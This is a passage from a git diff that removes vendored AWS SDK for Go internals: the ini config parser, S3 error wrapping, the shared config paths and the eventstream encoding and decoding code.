s.container[s.top] = ast - s.top++ -} - -// MarkComplete will append the AST to the list of completed statements -func (s *ParseStack) MarkComplete(ast AST) { - s.list[s.index] = ast - s.index++ -} - -// List will return the completed statements -func (s ParseStack) List() []AST { - return s.list[:s.index] -} - -// Len will return the length of the container -func (s *ParseStack) Len() int { - return s.top -} - -func (s ParseStack) String() string { - buf := bytes.Buffer{} - for i, node := range s.list { - buf.WriteString(fmt.Sprintf("%d: %v\n", i+1, node)) - } - - return buf.String() -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/sep_tokens.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/sep_tokens.go deleted file mode 100644 index f82095ba25..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/sep_tokens.go +++ /dev/null @@ -1,41 +0,0 @@ -package ini - -import ( - "fmt" -) - -var ( - emptyRunes = []rune{} -) - -func isSep(b []rune) bool { - if len(b) == 0 { - return false - } - - switch b[0] { - case '[', ']': - return true - default: - return false - } -} - -var ( - openBrace = []rune("[") - closeBrace = []rune("]") -) - -func newSepToken(b []rune) (Token, int, error) { - tok := Token{} - - switch b[0] { - case '[': - tok = newToken(TokenSep, openBrace, NoneType) - case ']': - tok = newToken(TokenSep, closeBrace, NoneType) - default: - return tok, 0, NewParseError(fmt.Sprintf("unexpected sep type, %v", b[0])) - } - return tok, 1, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/skipper.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/skipper.go deleted file mode 100644 index 6bb6964475..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/skipper.go +++ /dev/null @@ -1,45 +0,0 @@ -package ini - -// skipper is used to skip certain blocks of an ini file. -// Currently skipper is used to skip nested blocks of ini -// files. See example below -// -// [ foo ] -// nested = ; this section will be skipped -// a=b -// c=d -// bar=baz ; this will be included -type skipper struct { - shouldSkip bool - TokenSet bool - prevTok Token -} - -func newSkipper() skipper { - return skipper{ - prevTok: emptyToken, - } -} - -func (s *skipper) ShouldSkip(tok Token) bool { - if s.shouldSkip && - s.prevTok.Type() == TokenNL && - tok.Type() != TokenWS { - - s.Continue() - return false - } - s.prevTok = tok - - return s.shouldSkip -} - -func (s *skipper) Skip() { - s.shouldSkip = true - s.prevTok = emptyToken -} - -func (s *skipper) Continue() { - s.shouldSkip = false - s.prevTok = emptyToken -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/statement.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/statement.go deleted file mode 100644 index 18f3fe8931..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/statement.go +++ /dev/null @@ -1,35 +0,0 @@ -package ini - -// Statement is an empty AST mostly used for transitioning states. -func newStatement() AST { - return newAST(ASTKindStatement, AST{}) -} - -// SectionStatement represents a section AST -func newSectionStatement(tok Token) AST { - return newASTWithRootToken(ASTKindSectionStatement, tok) -} - -// ExprStatement represents a completed expression AST -func newExprStatement(ast AST) AST { - return newAST(ASTKindExprStatement, ast) -} - -// CommentStatement represents a comment in the ini definition. -// -// grammar: -// comment -> #comment' | ;comment' -// comment' -> epsilon | value -func newCommentStatement(tok Token) AST { - return newAST(ASTKindCommentStatement, newExpression(tok)) -} - -// CompletedSectionStatement represents a completed section -func newCompletedSectionStatement(ast AST) AST { - return newAST(ASTKindCompletedSectionStatement, ast) -} - -// SkipStatement is used to skip whole statements -func newSkipStatement(ast AST) AST { - return newAST(ASTKindSkipStatement, ast) -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/value_util.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/value_util.go deleted file mode 100644 index 305999d29b..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/value_util.go +++ /dev/null @@ -1,284 +0,0 @@ -package ini - -import ( - "fmt" -) - -// getStringValue will return a quoted string and the amount -// of bytes read -// -// an error will be returned if the string is not properly formatted -func getStringValue(b []rune) (int, error) { - if b[0] != '"' { - return 0, NewParseError("strings must start with '\"'") - } - - endQuote := false - i := 1 - - for ; i < len(b) && !endQuote; i++ { - if escaped := isEscaped(b[:i], b[i]); b[i] == '"' && !escaped { - endQuote = true - break - } else if escaped { - /*c, err := getEscapedByte(b[i]) - if err != nil { - return 0, err - } - - b[i-1] = c - b = append(b[:i], b[i+1:]...) - i--*/ - - continue - } - } - - if !endQuote { - return 0, NewParseError("missing '\"' in string value") - } - - return i + 1, nil -} - -// getBoolValue will return a boolean and the amount -// of bytes read -// -// an error will be returned if the boolean is not of a correct -// value -func getBoolValue(b []rune) (int, error) { - if len(b) < 4 { - return 0, NewParseError("invalid boolean value") - } - - n := 0 - for _, lv := range literalValues { - if len(lv) > len(b) { - continue - } - - if isLitValue(lv, b) { - n = len(lv) - } - } - - if n == 0 { - return 0, NewParseError("invalid boolean value") - } - - return n, nil -} - -// getNumericalValue will return a numerical string, the amount -// of bytes read, and the base of the number -// -// an error will be returned if the number is not of a correct -// value -func getNumericalValue(b []rune) (int, int, error) { - if !isDigit(b[0]) { - return 0, 0, NewParseError("invalid digit value") - } - - i := 0 - helper := numberHelper{} - -loop: - for negativeIndex := 0; i < len(b); i++ { - negativeIndex++ - - if !isDigit(b[i]) { - switch b[i] { - case '-': - if helper.IsNegative() || negativeIndex != 1 { - return 0, 0, NewParseError("parse error '-'") - } - - n := getNegativeNumber(b[i:]) - i += (n - 1) - helper.Determine(b[i]) - continue - case '.': - if err := helper.Determine(b[i]); err != nil { - return 0, 0, err - } - case 'e', 'E': - if err := helper.Determine(b[i]); err != nil { - return 0, 0, err - } - - negativeIndex = 0 - case 'b': - if helper.numberFormat == hex { - break - } - fallthrough - case 'o', 'x': - if i == 0 && b[i] != '0' { - return 0, 0, NewParseError("incorrect base format, expected leading '0'") - } - - if i != 1 { - return 0, 0, NewParseError(fmt.Sprintf("incorrect base format found %s at %d index", string(b[i]), i)) - } - - if err := helper.Determine(b[i]); err != nil { - return 0, 0, err - } - default: - if isWhitespace(b[i]) { - break loop - } - - if isNewline(b[i:]) { - break loop - } - - if !(helper.numberFormat == hex && isHexByte(b[i])) { - if i+2 < len(b) && !isNewline(b[i:i+2]) { - return 0, 0, NewParseError("invalid numerical character") - } else if !isNewline([]rune{b[i]}) { - return 0, 0, NewParseError("invalid numerical character") - } - - break loop - } - } - } - } - - return helper.Base(), i, nil -} - -// isDigit will return whether or not something is an integer -func isDigit(b rune) bool { - return b >= '0' && b <= '9' -} - -func hasExponent(v []rune) bool { - return contains(v, 'e') || contains(v, 'E') -} - -func isBinaryByte(b rune) bool { - switch b { - case '0', '1': - return true - default: - return false - } -} - -func isOctalByte(b rune) bool { - switch b { - case '0', '1', '2', '3', '4', '5', '6', '7': - return true - default: - return false - } -} - -func isHexByte(b rune) bool { - if isDigit(b) { - return true - } - return (b >= 'A' && b <= 'F') || - (b >= 'a' && b <= 'f') -} - -func getValue(b []rune) (int, error) { - i := 0 - - for i < len(b) { - if isNewline(b[i:]) { - break - } - - if isOp(b[i:]) { - break - } - - valid, n, err := isValid(b[i:]) - if err != nil { - return 0, err - } - - if !valid { - break - } - - i += n - } - - return i, nil -} - -// getNegativeNumber will return a negative number from a -// byte slice. This will iterate through all characters until -// a non-digit has been found. -func getNegativeNumber(b []rune) int { - if b[0] != '-' { - return 0 - } - - i := 1 - for ; i < len(b); i++ { - if !isDigit(b[i]) { - return i - } - } - - return i -} - -// isEscaped will return whether or not the character is an escaped -// character. -func isEscaped(value []rune, b rune) bool { - if len(value) == 0 { - return false - } - - switch b { - case '\'': // single quote - case '"': // quote - case 'n': // newline - case 't': // tab - case '\\': // backslash - default: - return false - } - - return value[len(value)-1] == '\\' -} - -func getEscapedByte(b rune) (rune, error) { - switch b { - case '\'': // single quote - return '\'', nil - case '"': // quote - return '"', nil - case 'n': // newline - return '\n', nil - case 't': // table - return '\t', nil - case '\\': // backslash - return '\\', nil - default: - return b, NewParseError(fmt.Sprintf("invalid escaped character %c", b)) - } -} - -func removeEscapedCharacters(b []rune) []rune { - for i := 0; i < len(b); i++ { - if isEscaped(b[:i], b[i]) { - c, err := getEscapedByte(b[i]) - if err != nil { - return b - } - - b[i-1] = c - b = append(b[:i], b[i+1:]...) - i-- - } - } - - return b -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/visitor.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/visitor.go deleted file mode 100644 index 94841c3244..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/visitor.go +++ /dev/null @@ -1,166 +0,0 @@ -package ini - -import ( - "fmt" - "sort" -) - -// Visitor is an interface used by walkers that will -// traverse an array of ASTs. -type Visitor interface { - VisitExpr(AST) error - VisitStatement(AST) error -} - -// DefaultVisitor is used to visit statements and expressions -// and ensure that they are both of the correct format. -// In addition, upon visiting this will build sections and populate -// the Sections field which can be used to retrieve profile -// configuration. -type DefaultVisitor struct { - scope string - Sections Sections -} - -// NewDefaultVisitor return a DefaultVisitor -func NewDefaultVisitor() *DefaultVisitor { - return &DefaultVisitor{ - Sections: Sections{ - container: map[string]Section{}, - }, - } -} - -// VisitExpr visits expressions... -func (v *DefaultVisitor) VisitExpr(expr AST) error { - t := v.Sections.container[v.scope] - if t.values == nil { - t.values = values{} - } - - switch expr.Kind { - case ASTKindExprStatement: - opExpr := expr.GetRoot() - switch opExpr.Kind { - case ASTKindEqualExpr: - children := opExpr.GetChildren() - if len(children) <= 1 { - return NewParseError("unexpected token type") - } - - rhs := children[1] - - if rhs.Root.Type() != TokenLit { - return NewParseError("unexpected token type") - } - - key := EqualExprKey(opExpr) - v, err := newValue(rhs.Root.ValueType, rhs.Root.base, rhs.Root.Raw()) - if err != nil { - return err - } - - t.values[key] = v - default: - return NewParseError(fmt.Sprintf("unsupported expression %v", expr)) - } - default: - return NewParseError(fmt.Sprintf("unsupported expression %v", expr)) - } - - v.Sections.container[v.scope] = t - return nil -} - -// VisitStatement visits statements... -func (v *DefaultVisitor) VisitStatement(stmt AST) error { - switch stmt.Kind { - case ASTKindCompletedSectionStatement: - child := stmt.GetRoot() - if child.Kind != ASTKindSectionStatement { - return NewParseError(fmt.Sprintf("unsupported child statement: %T", child)) - } - - name := string(child.Root.Raw()) - v.Sections.container[name] = Section{} - v.scope = name - default: - return NewParseError(fmt.Sprintf("unsupported statement: %s", stmt.Kind)) - } - - return nil -} - -// Sections is a map of Section structures that represent -// a configuration. -type Sections struct { - container map[string]Section -} - -// GetSection will return section p. If section p does not exist, -// false will be returned in the second parameter. -func (t Sections) GetSection(p string) (Section, bool) { - v, ok := t.container[p] - return v, ok -} - -// values represents a map of union values. -type values map[string]Value - -// List will return a list of all sections that were successfully -// parsed. -func (t Sections) List() []string { - keys := make([]string, len(t.container)) - i := 0 - for k := range t.container { - keys[i] = k - i++ - } - - sort.Strings(keys) - return keys -} - -// Section contains a name and values. This represent -// a sectioned entry in a configuration file. -type Section struct { - Name string - values values -} - -// Has will return whether or not an entry exists in a given section -func (t Section) Has(k string) bool { - _, ok := t.values[k] - return ok -} - -// ValueType will returned what type the union is set to. If -// k was not found, the NoneType will be returned. -func (t Section) ValueType(k string) (ValueType, bool) { - v, ok := t.values[k] - return v.Type, ok -} - -// Bool returns a bool value at k -func (t Section) Bool(k string) bool { - return t.values[k].BoolValue() -} - -// Int returns an integer value at k -func (t Section) Int(k string) int64 { - return t.values[k].IntValue() -} - -// Float64 returns a float value at k -func (t Section) Float64(k string) float64 { - return t.values[k].FloatValue() -} - -// String returns the string value at k -func (t Section) String(k string) string { - _, ok := t.values[k] - if !ok { - return "" - } - return t.values[k].StringValue() -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/walker.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/walker.go deleted file mode 100644 index 99915f7f77..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/walker.go +++ /dev/null @@ -1,25 +0,0 @@ -package ini - -// Walk will traverse the AST using the v, the Visitor. -func Walk(tree []AST, v Visitor) error { - for _, node := range tree { - switch node.Kind { - case ASTKindExpr, - ASTKindExprStatement: - - if err := v.VisitExpr(node); err != nil { - return err - } - case ASTKindStatement, - ASTKindCompletedSectionStatement, - ASTKindNestedSectionStatement, - ASTKindCompletedNestedSectionStatement: - - if err := v.VisitStatement(node); err != nil { - return err - } - } - } - - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/ws_token.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/ws_token.go deleted file mode 100644 index 7ffb4ae06f..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/ws_token.go +++ /dev/null @@ -1,24 +0,0 @@ -package ini - -import ( - "unicode" -) - -// isWhitespace will return whether or not the character is -// a whitespace character. -// -// Whitespace is defined as a space or tab. -func isWhitespace(c rune) bool { - return unicode.IsSpace(c) && c != '\n' && c != '\r' -} - -func newWSToken(b []rune) (Token, int, error) { - i := 0 - for ; i < len(b); i++ { - if !isWhitespace(b[i]) { - break - } - } - - return newToken(TokenWS, b[:i], NoneType), i, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/s3err/error.go b/vendor/github.com/aws/aws-sdk-go/internal/s3err/error.go deleted file mode 100644 index 0b9b0dfce0..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/s3err/error.go +++ /dev/null @@ -1,57 +0,0 @@ -package s3err - -import ( - "fmt" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" -) - -// RequestFailure provides additional S3 specific metadata for the request -// failure. -type RequestFailure struct { - awserr.RequestFailure - - hostID string -} - -// NewRequestFailure returns a request failure error decordated with S3 -// specific metadata. -func NewRequestFailure(err awserr.RequestFailure, hostID string) *RequestFailure { - return &RequestFailure{RequestFailure: err, hostID: hostID} -} - -func (r RequestFailure) Error() string { - extra := fmt.Sprintf("status code: %d, request id: %s, host id: %s", - r.StatusCode(), r.RequestID(), r.hostID) - return awserr.SprintError(r.Code(), r.Message(), extra, r.OrigErr()) -} -func (r RequestFailure) String() string { - return r.Error() -} - -// HostID returns the HostID request response value. -func (r RequestFailure) HostID() string { - return r.hostID -} - -// RequestFailureWrapperHandler returns a handler to rap an -// awserr.RequestFailure with the S3 request ID 2 from the response. -func RequestFailureWrapperHandler() request.NamedHandler { - return request.NamedHandler{ - Name: "awssdk.s3.errorHandler", - Fn: func(req *request.Request) { - reqErr, ok := req.Error.(awserr.RequestFailure) - if !ok || reqErr == nil { - return - } - - hostID := req.HTTPResponse.Header.Get("X-Amz-Id-2") - if req.Error == nil { - return - } - - req.Error = NewRequestFailure(reqErr, hostID) - }, - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/sdkio/io_go1.6.go b/vendor/github.com/aws/aws-sdk-go/internal/sdkio/io_go1.6.go deleted file mode 100644 index 5aa9137e0f..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/sdkio/io_go1.6.go +++ /dev/null @@ -1,10 +0,0 @@ -// +build !go1.7 - -package sdkio - -// Copy of Go 1.7 io package's Seeker constants. -const ( - SeekStart = 0 // seek relative to the origin of the file - SeekCurrent = 1 // seek relative to the current offset - SeekEnd = 2 // seek relative to the end -) diff --git a/vendor/github.com/aws/aws-sdk-go/internal/sdkio/io_go1.7.go b/vendor/github.com/aws/aws-sdk-go/internal/sdkio/io_go1.7.go deleted file mode 100644 index e5f005613b..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/sdkio/io_go1.7.go +++ /dev/null @@ -1,12 +0,0 @@ -// +build go1.7 - -package sdkio - -import "io" - -// Alias for Go 1.7 io package Seeker constants -const ( - SeekStart = io.SeekStart // seek relative to the origin of the file - SeekCurrent = io.SeekCurrent // seek relative to the current offset - SeekEnd = io.SeekEnd // seek relative to the end -) diff --git a/vendor/github.com/aws/aws-sdk-go/internal/sdkrand/locked_source.go b/vendor/github.com/aws/aws-sdk-go/internal/sdkrand/locked_source.go deleted file mode 100644 index 0c9802d877..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/sdkrand/locked_source.go +++ /dev/null @@ -1,29 +0,0 @@ -package sdkrand - -import ( - "math/rand" - "sync" - "time" -) - -// lockedSource is a thread-safe implementation of rand.Source -type lockedSource struct { - lk sync.Mutex - src rand.Source -} - -func (r *lockedSource) Int63() (n int64) { - r.lk.Lock() - n = r.src.Int63() - r.lk.Unlock() - return -} - -func (r *lockedSource) Seed(seed int64) { - r.lk.Lock() - r.src.Seed(seed) - r.lk.Unlock() -} - -// SeededRand is a new RNG using a thread safe implementation of rand.Source -var SeededRand = rand.New(&lockedSource{src: rand.NewSource(time.Now().UnixNano())}) diff --git a/vendor/github.com/aws/aws-sdk-go/internal/sdkuri/path.go b/vendor/github.com/aws/aws-sdk-go/internal/sdkuri/path.go deleted file mode 100644 index 38ea61afea..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/sdkuri/path.go +++ /dev/null @@ -1,23 +0,0 @@ -package sdkuri - -import ( - "path" - "strings" -) - -// PathJoin will join the elements of the path delimited by the "/" -// character. Similar to path.Join with the exception the trailing "/" -// character is preserved if present. -func PathJoin(elems ...string) string { - if len(elems) == 0 { - return "" - } - - hasTrailing := strings.HasSuffix(elems[len(elems)-1], "/") - str := path.Join(elems...) - if hasTrailing && str != "/" { - str += "/" - } - - return str -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/shareddefaults/ecs_container.go b/vendor/github.com/aws/aws-sdk-go/internal/shareddefaults/ecs_container.go deleted file mode 100644 index 7da8a49ce5..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/shareddefaults/ecs_container.go +++ /dev/null @@ -1,12 +0,0 @@ -package shareddefaults - -const ( - // ECSCredsProviderEnvVar is an environmental variable key used to - // determine which path needs to be hit. - ECSCredsProviderEnvVar = "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -) - -// ECSContainerCredentialsURI is the endpoint to retrieve container -// credentials. This can be overridden to test to ensure the credential process -// is behaving correctly. -var ECSContainerCredentialsURI = "http://169.254.170.2" diff --git a/vendor/github.com/aws/aws-sdk-go/internal/shareddefaults/shared_config.go b/vendor/github.com/aws/aws-sdk-go/internal/shareddefaults/shared_config.go deleted file mode 100644 index ebcbc2b40a..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/shareddefaults/shared_config.go +++ /dev/null @@ -1,40 +0,0 @@ -package shareddefaults - -import ( - "os" - "path/filepath" - "runtime" -) - -// SharedCredentialsFilename returns the SDK's default file path -// for the shared credentials file. -// -// Builds the shared config file path based on the OS's platform. -// -// - Linux/Unix: $HOME/.aws/credentials -// - Windows: %USERPROFILE%\.aws\credentials -func SharedCredentialsFilename() string { - return filepath.Join(UserHomeDir(), ".aws", "credentials") -} - -// SharedConfigFilename returns the SDK's default file path for -// the shared config file. -// -// Builds the shared config file path based on the OS's platform. -// -// - Linux/Unix: $HOME/.aws/config -// - Windows: %USERPROFILE%\.aws\config -func SharedConfigFilename() string { - return filepath.Join(UserHomeDir(), ".aws", "config") -} - -// UserHomeDir returns the home directory for the user the process is -// running under. -func UserHomeDir() string { - if runtime.GOOS == "windows" { // Windows - return os.Getenv("USERPROFILE") - } - - // *nix - return os.Getenv("HOME") -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/debug.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/debug.go deleted file mode 100644 index ecc7bf82fa..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/debug.go +++ /dev/null @@ -1,144 +0,0 @@ -package eventstream - -import ( - "bytes" - "encoding/base64" - "encoding/json" - "fmt" - "strconv" -) - -type decodedMessage struct { - rawMessage - Headers decodedHeaders `json:"headers"` -} -type jsonMessage struct { - Length json.Number `json:"total_length"` - HeadersLen json.Number `json:"headers_length"` - PreludeCRC json.Number `json:"prelude_crc"` - Headers decodedHeaders `json:"headers"` - Payload []byte `json:"payload"` - CRC json.Number `json:"message_crc"` -} - -func (d *decodedMessage) UnmarshalJSON(b []byte) (err error) { - var jsonMsg jsonMessage - if err = json.Unmarshal(b, &jsonMsg); err != nil { - return err - } - - d.Length, err = numAsUint32(jsonMsg.Length) - if err != nil { - return err - } - d.HeadersLen, err = numAsUint32(jsonMsg.HeadersLen) - if err != nil { - return err - } - d.PreludeCRC, err = numAsUint32(jsonMsg.PreludeCRC) - if err != nil { - return err - } - d.Headers = jsonMsg.Headers - d.Payload = jsonMsg.Payload - d.CRC, err = numAsUint32(jsonMsg.CRC) - if err != nil { - return err - } - - return nil -} - -func (d *decodedMessage) MarshalJSON() ([]byte, error) { - jsonMsg := jsonMessage{ - Length: json.Number(strconv.Itoa(int(d.Length))), - HeadersLen: json.Number(strconv.Itoa(int(d.HeadersLen))), - PreludeCRC: json.Number(strconv.Itoa(int(d.PreludeCRC))), - Headers: d.Headers, - Payload: d.Payload, - CRC: json.Number(strconv.Itoa(int(d.CRC))), - } - - return json.Marshal(jsonMsg) -} - -func numAsUint32(n json.Number) (uint32, error) { - v, err := n.Int64() - if err != nil { - return 0, fmt.Errorf("failed to get int64 json number, %v", err) - } - - return uint32(v), nil -} - -func (d decodedMessage) Message() Message { - return Message{ - Headers: Headers(d.Headers), - Payload: d.Payload, - } -} - -type decodedHeaders Headers - -func (hs *decodedHeaders) UnmarshalJSON(b []byte) error { - var jsonHeaders []struct { - Name string `json:"name"` - Type valueType `json:"type"` - Value interface{} `json:"value"` - } - - decoder := json.NewDecoder(bytes.NewReader(b)) - decoder.UseNumber() - if err := decoder.Decode(&jsonHeaders); err != nil { - return err - } - - var headers Headers - for _, h := range jsonHeaders { - value, err := valueFromType(h.Type, h.Value) - if err != nil { - return err - } - headers.Set(h.Name, value) - } - (*hs) = decodedHeaders(headers) - - return nil -} - -func valueFromType(typ valueType, val interface{}) (Value, error) { - switch typ { - case trueValueType: - return BoolValue(true), nil - case falseValueType: - return BoolValue(false), nil - case int8ValueType: - v, err := val.(json.Number).Int64() - return Int8Value(int8(v)), err - case int16ValueType: - v, err := val.(json.Number).Int64() - return Int16Value(int16(v)), err - case int32ValueType: - v, err := val.(json.Number).Int64() - return Int32Value(int32(v)), err - case int64ValueType: - v, err := val.(json.Number).Int64() - return Int64Value(v), err - case bytesValueType: - v, err := base64.StdEncoding.DecodeString(val.(string)) - return BytesValue(v), err - case stringValueType: - v, err := base64.StdEncoding.DecodeString(val.(string)) - return StringValue(string(v)), err - case timestampValueType: - v, err := val.(json.Number).Int64() - return TimestampValue(timeFromEpochMilli(v)), err - case uuidValueType: - v, err := base64.StdEncoding.DecodeString(val.(string)) - var tv UUIDValue - copy(tv[:], v) - return tv, err - default: - panic(fmt.Sprintf("unknown type, %s, %T", typ.String(), val)) - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/decode.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/decode.go deleted file mode 100644 index 4b972b2d66..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/decode.go +++ /dev/null @@ -1,199 +0,0 @@ -package eventstream - -import ( - "bytes" - "encoding/binary" - "encoding/hex" - "encoding/json" - "fmt" - "hash" - "hash/crc32" - "io" - - "github.com/aws/aws-sdk-go/aws" -) - -// Decoder provides decoding of an Event Stream messages. -type Decoder struct { - r io.Reader - logger aws.Logger -} - -// NewDecoder initializes and returns a Decoder for decoding event -// stream messages from the reader provided. -func NewDecoder(r io.Reader) *Decoder { - return &Decoder{ - r: r, - } -} - -// Decode attempts to decode a single message from the event stream reader. -// Will return the event stream message, or error if Decode fails to read -// the message from the stream. -func (d *Decoder) Decode(payloadBuf []byte) (m Message, err error) { - reader := d.r - if d.logger != nil { - debugMsgBuf := bytes.NewBuffer(nil) - reader = io.TeeReader(reader, debugMsgBuf) - defer func() { - logMessageDecode(d.logger, debugMsgBuf, m, err) - }() - } - - crc := crc32.New(crc32IEEETable) - hashReader := io.TeeReader(reader, crc) - - prelude, err := decodePrelude(hashReader, crc) - if err != nil { - return Message{}, err - } - - if prelude.HeadersLen > 0 { - lr := io.LimitReader(hashReader, int64(prelude.HeadersLen)) - m.Headers, err = decodeHeaders(lr) - if err != nil { - return Message{}, err - } - } - - if payloadLen := prelude.PayloadLen(); payloadLen > 0 { - buf, err := decodePayload(payloadBuf, io.LimitReader(hashReader, int64(payloadLen))) - if err != nil { - return Message{}, err - } - m.Payload = buf - } - - msgCRC := crc.Sum32() - if err := validateCRC(reader, msgCRC); err != nil { - return Message{}, err - } - - return m, nil -} - -// UseLogger specifies the Logger that that the decoder should use to log the -// message decode to. -func (d *Decoder) UseLogger(logger aws.Logger) { - d.logger = logger -} - -func logMessageDecode(logger aws.Logger, msgBuf *bytes.Buffer, msg Message, decodeErr error) { - w := bytes.NewBuffer(nil) - defer func() { logger.Log(w.String()) }() - - fmt.Fprintf(w, "Raw message:\n%s\n", - hex.Dump(msgBuf.Bytes())) - - if decodeErr != nil { - fmt.Fprintf(w, "Decode error: %v\n", decodeErr) - return - } - - rawMsg, err := msg.rawMessage() - if err != nil { - fmt.Fprintf(w, "failed to create raw message, %v\n", err) - return - } - - decodedMsg := decodedMessage{ - rawMessage: rawMsg, - Headers: decodedHeaders(msg.Headers), - } - - fmt.Fprintf(w, "Decoded message:\n") - encoder := json.NewEncoder(w) - if err := encoder.Encode(decodedMsg); err != nil { - fmt.Fprintf(w, "failed to generate decoded message, %v\n", err) - } -} - -func decodePrelude(r io.Reader, crc hash.Hash32) (messagePrelude, error) { - var p messagePrelude - - var err error - p.Length, err = decodeUint32(r) - if err != nil { - return messagePrelude{}, err - } - - p.HeadersLen, err = decodeUint32(r) - if err != nil { - return messagePrelude{}, err - } - - if err := p.ValidateLens(); err != nil { - return messagePrelude{}, err - } - - preludeCRC := crc.Sum32() - if err := validateCRC(r, preludeCRC); err != nil { - return messagePrelude{}, err - } - - p.PreludeCRC = preludeCRC - - return p, nil -} - -func decodePayload(buf []byte, r io.Reader) ([]byte, error) { - w := bytes.NewBuffer(buf[0:0]) - - _, err := io.Copy(w, r) - return w.Bytes(), err -} - -func decodeUint8(r io.Reader) (uint8, error) { - type byteReader interface { - ReadByte() (byte, error) - } - - if br, ok := r.(byteReader); ok { - v, err := br.ReadByte() - return uint8(v), err - } - - var b [1]byte - _, err := io.ReadFull(r, b[:]) - return uint8(b[0]), err -} -func decodeUint16(r io.Reader) (uint16, error) { - var b [2]byte - bs := b[:] - _, err := io.ReadFull(r, bs) - if err != nil { - return 0, err - } - return binary.BigEndian.Uint16(bs), nil -} -func decodeUint32(r io.Reader) (uint32, error) { - var b [4]byte - bs := b[:] - _, err := io.ReadFull(r, bs) - if err != nil { - return 0, err - } - return binary.BigEndian.Uint32(bs), nil -} -func decodeUint64(r io.Reader) (uint64, error) { - var b [8]byte - bs := b[:] - _, err := io.ReadFull(r, bs) - if err != nil { - return 0, err - } - return binary.BigEndian.Uint64(bs), nil -} - -func validateCRC(r io.Reader, expect uint32) error { - msgCRC, err := decodeUint32(r) - if err != nil { - return err - } - - if msgCRC != expect { - return ChecksumError{} - } - - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/encode.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/encode.go deleted file mode 100644 index 150a60981d..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/encode.go +++ /dev/null @@ -1,114 +0,0 @@ -package eventstream - -import ( - "bytes" - "encoding/binary" - "hash" - "hash/crc32" - "io" -) - -// Encoder provides EventStream message encoding. -type Encoder struct { - w io.Writer - - headersBuf *bytes.Buffer -} - -// NewEncoder initializes and returns an Encoder to encode Event Stream -// messages to an io.Writer. -func NewEncoder(w io.Writer) *Encoder { - return &Encoder{ - w: w, - headersBuf: bytes.NewBuffer(nil), - } -} - -// Encode encodes a single EventStream message to the io.Writer the Encoder -// was created with. An error is returned if writing the message fails. -func (e *Encoder) Encode(msg Message) error { - e.headersBuf.Reset() - - err := encodeHeaders(e.headersBuf, msg.Headers) - if err != nil { - return err - } - - crc := crc32.New(crc32IEEETable) - hashWriter := io.MultiWriter(e.w, crc) - - headersLen := uint32(e.headersBuf.Len()) - payloadLen := uint32(len(msg.Payload)) - - if err := encodePrelude(hashWriter, crc, headersLen, payloadLen); err != nil { - return err - } - - if headersLen > 0 { - if _, err := io.Copy(hashWriter, e.headersBuf); err != nil { - return err - } - } - - if payloadLen > 0 { - if _, err := hashWriter.Write(msg.Payload); err != nil { - return err - } - } - - msgCRC := crc.Sum32() - return binary.Write(e.w, binary.BigEndian, msgCRC) -} - -func encodePrelude(w io.Writer, crc hash.Hash32, headersLen, payloadLen uint32) error { - p := messagePrelude{ - Length: minMsgLen + headersLen + payloadLen, - HeadersLen: headersLen, - } - if err := p.ValidateLens(); err != nil { - return err - } - - err := binaryWriteFields(w, binary.BigEndian, - p.Length, - p.HeadersLen, - ) - if err != nil { - return err - } - - p.PreludeCRC = crc.Sum32() - err = binary.Write(w, binary.BigEndian, p.PreludeCRC) - if err != nil { - return err - } - - return nil -} - -func encodeHeaders(w io.Writer, headers Headers) error { - for _, h := range headers { - hn := headerName{ - Len: uint8(len(h.Name)), - } - copy(hn.Name[:hn.Len], h.Name) - if err := hn.encode(w); err != nil { - return err - } - - if err := h.Value.encode(w); err != nil { - return err - } - } - - return nil -} - -func binaryWriteFields(w io.Writer, order binary.ByteOrder, vs ...interface{}) error { - for _, v := range vs { - if err := binary.Write(w, order, v); err != nil { - return err - } - } - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/error.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/eventstream/error.go deleted file mode 100644 index 5481ef3079..0000000000 --- 